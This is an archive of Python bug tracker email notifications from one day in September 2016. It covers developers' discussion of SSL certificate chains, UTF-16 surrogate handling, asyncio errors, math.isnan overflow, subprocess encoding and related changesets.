Message-ID: <1473152092.01.0.556339130833.issue27350@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


Added file: http://bugs.python.org/file44395/compact-dict.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Tue Sep  6 05:14:23 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 09:14:23 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za>
Message-ID: <20160906091417.23540.42520.55137208@psf.io>


Roundup Robot added the comment:

New changeset e3b83bfa02c5 by Christian Heimes in branch 'default':
Issue 27744: skip test if AF_ALG socket bind fails
https://hg.python.org/cpython/rev/e3b83bfa02c5

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Tue Sep  6 05:18:50 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 06 Sep 2016 09:18:50 +0000
Subject: [issue27970] ssl: can't verify a trusted site with imcomplete
 certificate chain
In-Reply-To: <1473151937.46.0.395458552575.issue27970@psf.upfronthosting.co.za>
Message-ID: <1473153530.78.0.433945083765.issue27970@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Yes, that is to be expected. Python does not use AIA to fetch missing certs. The server must return all intermediate certs. Browsers have workarounds and local caches, Python doesn't. Other tools like curl behave the same.

----------
nosy: +christian.heimes
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27970>
_______________________________________

From report at bugs.python.org  Tue Sep  6 05:27:35 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 09:27:35 +0000
Subject: [issue27866] ssl: get list of enabled ciphers
In-Reply-To: <1472210954.34.0.734962882785.issue27866@psf.upfronthosting.co.za>
Message-ID: <20160906092732.68725.7735.03F65DB9@psf.io>


Roundup Robot added the comment:

New changeset dad4c42869f6 by Christian Heimes in branch 'default':
Issue 27866: relax get_cipher() test even more. Gentoo buildbot has no ECDHE
https://hg.python.org/cpython/rev/dad4c42869f6

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27866>
_______________________________________

From report at bugs.python.org  Tue Sep  6 05:37:45 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 06 Sep 2016 09:37:45 +0000
Subject: [issue27958] 'zlib compression' not found in set(['RLE', 'ZLIB',
 None])
In-Reply-To: <1473114237.79.0.529553102589.issue27958@psf.upfronthosting.co.za>
Message-ID: <1473154665.24.0.503553648498.issue27958@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27958>
_______________________________________

From report at bugs.python.org  Tue Sep  6 05:59:43 2016
From: report at bugs.python.org (Christoph Reiter)
Date: Tue, 06 Sep 2016 09:59:43 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
Message-ID: <1473155983.16.0.820045644056.issue27971@psf.upfronthosting.co.za>


New submission from Christoph Reiter:

Using Python 2.7.12

>>> u"\ud83d".encode("utf-16-le")
'=\xd8'
>>> u"\ud83d".encode("utf-16-le").decode("utf-16-le")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python2.7/encodings/utf_16_le.py", line 16, in decode
    return codecs.utf_16_le_decode(input, errors, True)
UnicodeDecodeError: 'utf16' codec can't decode bytes in position 0-1: unexpected end of data
>>>

----------
components: Unicode
messages: 274546
nosy: ezio.melotti, haypo, lazka
priority: normal
severity: normal
status: open
title: utf-16 decoding can't handle lone surrogates
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Tue Sep  6 06:16:54 2016
From: report at bugs.python.org (Max von Tettenborn)
Date: Tue, 06 Sep 2016 10:16:54 +0000
Subject: [issue27972] Confusing error during cyclic yield
Message-ID: <1473157014.91.0.531687158456.issue27972@psf.upfronthosting.co.za>


New submission from Max von Tettenborn:

Below code reproduces the problem. The resulting error is a RecursionError and it is very hard to trace that to the cause of the problem, which is the runner task and the stop task yielding from each other, forming a deadlock.

I think, an easy to make mistake like that should raise a clearer exception. And maybe I am mistaken, but it should in principle be possible for the event loop to detect a cyclic yield, right?


import asyncio


class A:
    @asyncio.coroutine
    def start(self):
        self.runner_task = asyncio.ensure_future(self.runner())

    @asyncio.coroutine
    def stop(self):
        self.runner_task.cancel()
        yield from self.runner_task

    @asyncio.coroutine
    def runner(self):
        try:
            while True:
                yield from asyncio.sleep(5)
        except asyncio.CancelledError:
            yield from self.stop()
            return


def do_test():
    @asyncio.coroutine
    def f():
        a = A()
        yield from a.start()
        yield from asyncio.sleep(1)
        yield from a.stop()

    asyncio.get_event_loop().run_until_complete(f())

----------
components: asyncio
messages: 274547
nosy: Max von Tettenborn, gvanrossum, haypo, yselivanov
priority: normal
severity: normal
status: open
title: Confusing error during cyclic yield
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27972>
_______________________________________

From report at bugs.python.org  Tue Sep  6 06:23:52 2016
From: report at bugs.python.org (Christoph Reiter)
Date: Tue, 06 Sep 2016 10:23:52 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
In-Reply-To: <1473155983.16.0.820045644056.issue27971@psf.upfronthosting.co.za>
Message-ID: <1473157432.7.0.914497311724.issue27971@psf.upfronthosting.co.za>


Christoph Reiter added the comment:

Same problem on 3.3.6. But works on 3.4.5. So I guess this was fixed but not backported.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Tue Sep  6 06:28:22 2016
From: report at bugs.python.org (lilydjwg)
Date: Tue, 06 Sep 2016 10:28:22 +0000
Subject: [issue27970] ssl: can't verify a trusted site with imcomplete
 certificate chain
In-Reply-To: <1473151937.46.0.395458552575.issue27970@psf.upfronthosting.co.za>
Message-ID: <1473157702.19.0.271716909399.issue27970@psf.upfronthosting.co.za>


lilydjwg added the comment:

Please read my code. I've provided the CA certificate; this should work because I've downloaded the certificate manually and feed it to Python.

openssl command line tool works. gnutls-cli works too. wget (with openssl) works too. curl (with openssl) fails like Python but I don't understand why.

I've successfully done things like this before, but now I encounter a site that Python can't verify with the correct CA certificate (that other tools accept).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27970>
_______________________________________

From report at bugs.python.org  Tue Sep  6 06:49:31 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 06 Sep 2016 10:49:31 +0000
Subject: [issue27970] ssl: can't verify a trusted site with imcomplete
 certificate chain
In-Reply-To: <1473151937.46.0.395458552575.issue27970@psf.upfronthosting.co.za>
Message-ID: <1473158971.86.0.83444164918.issue27970@psf.upfronthosting.co.za>


Christian Heimes added the comment:

>From https://www.ssllabs.com/ssltest/analyze.html?d=miaosss.top

Chain issues 	Incomplete
Extra download 	COMODO RSA Domain Validation Secure Server CA 

Python does not support extra downloads of incomplete chains. The server must return the EE cert and all intermediate certs during the TLS handshake.

You also can't pass the intermediate cert as a CA cert. It's not a trust anchor. You could load both the trust anchor and intermediate cert as CA certs (concatenate intermediate and root certs), but that is potentially dangerous. Safer way is https://www.openssl.org/docs/manmaster/ssl/SSL_CTX_add0_chain_cert.html but Python does not have an API for SSL_CTX_add0_chain_cert().

Best solution: get the server fixed. It doesn't behave correctly.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27970>
_______________________________________

From report at bugs.python.org  Tue Sep  6 07:16:51 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 06 Sep 2016 11:16:51 +0000
Subject: [issue27866] ssl: get list of enabled ciphers
In-Reply-To: <1472210954.34.0.734962882785.issue27866@psf.upfronthosting.co.za>
Message-ID: <1473160611.21.0.489310575168.issue27866@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I have relaxed the tests and stabilized the buildbots. Some Gentoo machines don't have ECDHE cipher suites enabled.

----------
dependencies:  -Make OpenSSL module compatible with OpenSSL 1.1.0
resolution:  -> fixed
stage: patch review -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27866>
_______________________________________

From report at bugs.python.org  Tue Sep  6 07:31:22 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 06 Sep 2016 11:31:22 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za>
Message-ID: <1473161482.02.0.179288294029.issue27744@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Some distributions mess with the Kernel or disable user-space crypto. I have added some tweaks and fixed a couple of buildbots. I don't know what is going on with x86-64 Ubuntu 15.10 Skylake CPU. It's a Kernel 4.2 machine and should support AES-CBC.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Tue Sep  6 08:27:20 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 06 Sep 2016 12:27:20 +0000
Subject: [issue27866] ssl: get list of enabled ciphers
In-Reply-To: <1472210954.34.0.734962882785.issue27866@psf.upfronthosting.co.za>
Message-ID: <1473164840.37.0.563497455764.issue27866@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27866>
_______________________________________

From report at bugs.python.org  Tue Sep  6 08:45:21 2016
From: report at bugs.python.org (lilydjwg)
Date: Tue, 06 Sep 2016 12:45:21 +0000
Subject: [issue27970] ssl: can't verify a trusted site with imcomplete
 certificate chain
In-Reply-To: <1473151937.46.0.395458552575.issue27970@psf.upfronthosting.co.za>
Message-ID: <1473165921.51.0.211570069425.issue27970@psf.upfronthosting.co.za>


lilydjwg added the comment:

I understand now, thank you!
It's much easier to work around such issues than fix other people's sites.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27970>
_______________________________________

From report at bugs.python.org  Tue Sep  6 09:43:16 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 13:43:16 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
In-Reply-To: <1473155983.16.0.820045644056.issue27971@psf.upfronthosting.co.za>
Message-ID: <1473169396.27.0.516092519958.issue27971@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

With the latest build, even encode will fail:

Python 3.6.0a4+ (default:dad4c42869f6, Sep  6 2016, 21:41:38) 
[GCC 5.2.1 20151010] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> u"\ud83d".encode("utf-16-le")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
UnicodeEncodeError: 'utf-16-le' codec can't encode character '\ud83d' in position 0: surrogates not allowed

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Tue Sep  6 10:10:11 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 06 Sep 2016 14:10:11 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
In-Reply-To: <1473155983.16.0.820045644056.issue27971@psf.upfronthosting.co.za>
Message-ID: <1473171011.88.0.352736436507.issue27971@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Probably Python 2's UTF-16 decoder should be as broken as the encoder, which will match the broken behavior of the UTF-8 and UTF-32 codecs:

    >>> u'\ud83d\uda12'.encode('utf-8').decode('utf-8')
    u'\ud83d\uda12'
    >>> u'\ud83d\uda12'.encode('utf-32-le').decode('utf-32-le')
    u'\ud83d\uda12'

Lone surrogate codes aren't valid Unicode. In Python 3 they get used internally for tricks like the "surrogateescape" error handler. In Python 3.4+. the 'surrogatepass' error handler allows encoding and decoding lone surrogates: 

    >>> u'\ud83d\uda12'.encode('utf-16le', 'surrogatepass')
    b'=\xd8\x12\xda'
    >>> _.decode('utf-16le', 'surrogatepass')
    '\ud83d\uda12'

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Tue Sep  6 10:14:19 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 06 Sep 2016 14:14:19 +0000
Subject: [issue27962] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_encoding
In-Reply-To: <1473127792.38.0.373594857813.issue27962@psf.upfronthosting.co.za>
Message-ID: <1473171259.19.0.406879714553.issue27962@psf.upfronthosting.co.za>


Changes by Eryk Sun <eryksun+pybugs at gmail.com>:


----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> null poiter dereference in set_conversion_mode due uncheck _ctypes_conversion_errors

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27962>
_______________________________________

From report at bugs.python.org  Tue Sep  6 10:20:18 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 14:20:18 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za>
Message-ID: <1473171618.77.0.501963949631.issue27744@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

My PC is Ubuntu15.10, kernel 4.2, though CPU not Skylake. Everything works fine.

test_aead_aes_gcm (test.test_socket.LinuxKernelCryptoAPI) ... skipped "('[Errno 2] No such file or directory', 'aead', 'gcm(aes)')"
test_aes_cbc (test.test_socket.LinuxKernelCryptoAPI) ... ok
test_drbg_pr_sha256 (test.test_socket.LinuxKernelCryptoAPI) ... ok
test_hmac_sha1 (test.test_socket.LinuxKernelCryptoAPI) ... ok
test_sendmsg_afalg_args (test.test_socket.LinuxKernelCryptoAPI) ... ok
test_sha256 (test.test_socket.LinuxKernelCryptoAPI) ... ok

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Tue Sep  6 11:06:13 2016
From: report at bugs.python.org (Christoph Reiter)
Date: Tue, 06 Sep 2016 15:06:13 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
In-Reply-To: <1473169396.27.0.516092519958.issue27971@psf.upfronthosting.co.za>
Message-ID: <CAE6_+UdK9uCq=9ZN_v=2ujk_makWojRTzyUbbV84CwE+t4-Paw@mail.gmail.com>


Christoph Reiter added the comment:

On Tue, Sep 6, 2016 at 3:43 PM, Xiang Zhang <report at bugs.python.org> wrote:
>
> Xiang Zhang added the comment:
>
> With the latest build, even encode will fail:

With Python 3 you have to use the "surrogatepass" error handler. I
assumed this was the default in Python 2 since it worked with other
codecs.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Tue Sep  6 11:09:56 2016
From: report at bugs.python.org (Sohaib Ahmad)
Date: Tue, 06 Sep 2016 15:09:56 +0000
Subject: [issue27973] urllib.urlretrieve() fails on second ftp transfer
Message-ID: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>


New submission from Sohaib Ahmad:

urllib.urlretrieve() fails on ftp:
- start and complete a transfer
- immediately start another transfer
The second transfer will fail with the following error:
[Errno ftp error] 200 Type set to I

I am using urllib.urlretrieve(url, filename) to retrieve two files (one by one) from FTP server.

Sample code to reproduce the problem is attached. Please update url1 and url2 with correct values.

This problem was reported several years ago and was fixed but it is now reproducible on latest python 2.7 package (2.7.12).

http://bugs.python.org/issue1067702

I tried the same scenario on 2.7.10 and it worked fine. So a patch after 2.7.10 must have broken something.

----------
components: Library (Lib)
files: multiple_ftp_download.py
messages: 274559
nosy: Sohaib Ahmad
priority: normal
severity: normal
status: open
title: urllib.urlretrieve() fails on second ftp transfer
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file44396/multiple_ftp_download.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Tue Sep  6 11:10:57 2016
From: report at bugs.python.org (Christoph Reiter)
Date: Tue, 06 Sep 2016 15:10:57 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
In-Reply-To: <1473171011.88.0.352736436507.issue27971@psf.upfronthosting.co.za>
Message-ID: <CAE6_+Udg4oBbRsOSO-3aU=EG=HRSTaFyyU-eDg7K_5GwnB0Kpw@mail.gmail.com>


Christoph Reiter added the comment:

On Tue, Sep 6, 2016 at 4:10 PM, Eryk Sun <report at bugs.python.org> wrote:
> Lone surrogate codes aren't valid Unicode. In Python 3 they get used internally for tricks like the "surrogateescape" error handler. In Python 3.4+. the 'surrogatepass' error handler allows encoding and decoding lone surrogates:

To add some context: I was writing tests for windows paths containing
surrogates (e.g. os.listdir can return them)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Tue Sep  6 11:11:49 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 15:11:49 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473174709.61.0.0280753471646.issue6135@psf.upfronthosting.co.za>


Steve Dower added the comment:

Given specifying an encoding will do the same thing as universal_newlines would have, should I just "hide" references to universal_newlines in the doc? (i.e. only mention it under a versionchanged banner, rather than front-and-centre)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 11:52:58 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Tue, 06 Sep 2016 15:52:58 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473177178.78.0.890457162555.issue6135@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Ah, excellent point about "encoding='utf-8'" already being a less cryptic replacement for universal_newlines=True, so consider my questions withdrawn :)

As far as universal_newlines goes, that needs to remain documented for the sake of folks reading code that uses it, and folks that need compatibility with older versions, but +1 for recommending specifying an encoding over using that flag for new 3.6+ code.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 12:25:10 2016
From: report at bugs.python.org (David Su)
Date: Tue, 06 Sep 2016 16:25:10 +0000
Subject: [issue27575] dict viewkeys intersection slow for large dicts
In-Reply-To: <1468950707.74.0.640405379684.issue27575@psf.upfronthosting.co.za>
Message-ID: <1473179110.41.0.855405115097.issue27575@psf.upfronthosting.co.za>


David Su added the comment:

ping

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27575>
_______________________________________

From report at bugs.python.org  Tue Sep  6 12:32:23 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 16:32:23 +0000
Subject: [issue27974] Remove dead code in importlib._bootstrap
Message-ID: <1473179542.96.0.922306931354.issue27974@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

_ManageReload in importlib._bootstrap seems obsolete since reve729b946cc03, remove it?

----------
files: importlib__bootstrap.patch
keywords: patch
messages: 274564
nosy: brett.cannon, xiang.zhang
priority: normal
severity: normal
status: open
title: Remove dead code in importlib._bootstrap
type: enhancement
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44397/importlib__bootstrap.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27974>
_______________________________________

From report at bugs.python.org  Tue Sep  6 12:35:45 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 16:35:45 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
In-Reply-To: <CAE6_+Udg4oBbRsOSO-3aU=EG=HRSTaFyyU-eDg7K_5GwnB0Kpw@mail.gmail.com>
Message-ID: <CAMpsgwaao8FY5r6_C5c9tUFu4aNmfgn+NtxARYFkJqK9ToGSDg@mail.gmail.com>


STINNER Victor added the comment:

UTF codecs must not encode surrogate characters:
http://unicodebook.readthedocs.io/issues.html#non-strict-utf-8-decoder-overlong-byte-sequences-and-surrogates

Python 3 is right, sadly it's too late to fix Python 2.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Tue Sep  6 12:37:04 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 16:37:04 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1473174709.61.0.0280753471646.issue6135@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwafCJ-3nQMD6x9BwUVXx9WBJXj5p4HSDibn+yLus5W-gA@mail.gmail.com>


STINNER Victor added the comment:

Steve Dower added the comment:
> Given specifying an encoding will do the same thing as universal_newlines would have, should I just "hide" references to universal_newlines in the doc? (i.e. only mention it under a versionchanged banner, rather than front-and-centre)

No. Don't hide universal_newlines, it's different than encoding.
universal_newlines uses the locale encoding which is a good choice in
most cases.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:02:09 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 17:02:09 +0000
Subject: [issue27967] Remove unused variables causing compile warnings in
 sqlite3 module
In-Reply-To: <1473143050.26.0.381647995146.issue27967@psf.upfronthosting.co.za>
Message-ID: <20160906170152.30568.55409.244F1AEB@psf.io>


Roundup Robot added the comment:

New changeset ecaa1af8fe04 by Benjamin Peterson in branch '2.7':
fix unused variable warnings in pysqlite (closes #27967)
https://hg.python.org/cpython/rev/ecaa1af8fe04

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27967>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:04:33 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Tue, 06 Sep 2016 17:04:33 +0000
Subject: [issue27975] math.isnan(int) and math.isinf(int) should not raise
 OverflowError
Message-ID: <1473181473.32.0.514007439316.issue27975@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

Currently, math.isnan(n) and math.isinf(n) for n an int may raise OverflowError if n is too big to convert to a float, e.g.:

py> math.isnan(10**10000)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OverflowError: int too large to convert to float


But this conversion is unnecessary. int does not support either INF or NAN, so there is no need to convert the value to float first. If the argument is an int, the result must be False.

The same applies to Fraction.

----------
messages: 274568
nosy: steven.daprano
priority: normal
severity: normal
status: open
title: math.isnan(int) and math.isinf(int) should not raise OverflowError

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27975>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:04:44 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 06 Sep 2016 17:04:44 +0000
Subject: [issue27974] Remove dead code in importlib._bootstrap
In-Reply-To: <1473179542.96.0.922306931354.issue27974@psf.upfronthosting.co.za>
Message-ID: <1473181484.14.0.332925474061.issue27974@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
nosy: +eric.snow, ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27974>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:06:30 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 06 Sep 2016 17:06:30 +0000
Subject: [issue26896] mix-up with the terms 'importer', 'finder',
 'loader' in the import system and related code
In-Reply-To: <1462046496.61.0.778323150916.issue26896@psf.upfronthosting.co.za>
Message-ID: <1473181590.06.0.93200817359.issue26896@psf.upfronthosting.co.za>


Brett Cannon added the comment:

It sounds like you have a backport ready, Senthil. Is that true? If so then go ahead and apply the changes.

You're right it could be backported, I just didn't due to laziness/lack of time.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26896>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:07:07 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 17:07:07 +0000
Subject: [issue27969] Suppress unnecessary message when running test_gdb
In-Reply-To: <1473145270.93.0.694840839391.issue27969@psf.upfronthosting.co.za>
Message-ID: <20160906170704.47534.34513.21C69458@psf.io>


Roundup Robot added the comment:

New changeset 5e75bf8e5526 by Benjamin Peterson in branch '2.7':
suppress stderr output when checking gdb (closes #27969)
https://hg.python.org/cpython/rev/5e75bf8e5526

New changeset 2c4359ff4d6d by Benjamin Peterson in branch '3.5':
suppress stderr output when checking gdb (closes #27969)
https://hg.python.org/cpython/rev/2c4359ff4d6d

New changeset 6e827e97c064 by Benjamin Peterson in branch 'default':
merge 3.5 (#27969)
https://hg.python.org/cpython/rev/6e827e97c064

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27969>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:24:33 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Tue, 06 Sep 2016 17:24:33 +0000
Subject: [issue27975] math.isnan(int) and math.isinf(int) should not raise
 OverflowError
In-Reply-To: <1473181473.32.0.514007439316.issue27975@psf.upfronthosting.co.za>
Message-ID: <1473182673.74.0.140845727903.issue27975@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

I see this as a documentation issue: the vast majority of math module functions are designed to operate on floats, and if given a non-float input, simply convert that input to a float as a convenience. If we start special-casing math module functions for int, Fraction, and Decimal inputs, the module is going to become much more complicated both in terms of implementation and in terms of cognitive load for the user.

----------
nosy: +mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27975>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:30:40 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Tue, 06 Sep 2016 17:30:40 +0000
Subject: [issue27975] math.isnan(int) and math.isinf(int) should not raise
 OverflowError
In-Reply-To: <1473181473.32.0.514007439316.issue27975@psf.upfronthosting.co.za>
Message-ID: <1473183040.58.0.332446485379.issue27975@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Related: #18842

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27975>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:47:18 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Tue, 06 Sep 2016 17:47:18 +0000
Subject: [issue27975] math.isnan(int) and math.isinf(int) should not raise
 OverflowError
In-Reply-To: <1473182673.74.0.140845727903.issue27975@psf.upfronthosting.co.za>
Message-ID: <20160906174711.GZ26300@ando.pearwood.info>


Steven D'Aprano added the comment:

As a convenience for whom? Certainly not the poor user, who thinks that 
math.isnan(x) should return False if the number x is not a NAN. Since 
neither 10**1 nor 10**100000 are NANs, why should one return correctly 
and the other raise a completely spurious OverflowError?

I cannot speak for the implementation, except as a wild guess. It 
shouldn't be hard to do the equivalent of:

if type(x) == int: return False  # Intentionally excluding subclasses.
try:
    y = float(x)
except OverflowError:
    return False
else:
    ... # existing implementation

but since I know nothing about the C implementation maybe I'm completely 
wrong. But as far as the user's cognitive load, I don't think that:

"math.isnan(x) might return the expected result, or it might raise 
OverflowError"

is *simpler* for the user than:

"math.isnan(x) will return the expected result".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27975>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:47:46 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 17:47:46 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473184066.14.0.778106464607.issue6135@psf.upfronthosting.co.za>


Steve Dower added the comment:

> universal_newlines uses the locale encoding which is a good choice in
most cases.

Well, some cases, and only really by accident. I won't hide the parameter, but it is promoted as "frequently used" and I'll make sure to document encoding before universal_newlines. Call it a very weak deprecation.

The new patch also removes the openers, which I think were solving a problem we don't have right now.

----------
Added file: http://bugs.python.org/file44398/6135_3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:47:58 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 06 Sep 2016 17:47:58 +0000
Subject: [issue27973] urllib.urlretrieve() fails on second ftp transfer
In-Reply-To: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>
Message-ID: <1473184078.66.0.445249267614.issue27973@psf.upfronthosting.co.za>


R. David Murray added the comment:

If you want to help out with tracking this down, you could hg bisect the commits and find out which one broke it.

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:56:22 2016
From: report at bugs.python.org (Zachary Ware)
Date: Tue, 06 Sep 2016 17:56:22 +0000
Subject: [issue27976] Deprecate building with bundled copy of libffi on
 non-Darwin POSIX platforms
Message-ID: <1473184582.63.0.0787669758902.issue27976@psf.upfronthosting.co.za>


New submission from Zachary Ware:

Nosy list copied from #23085.

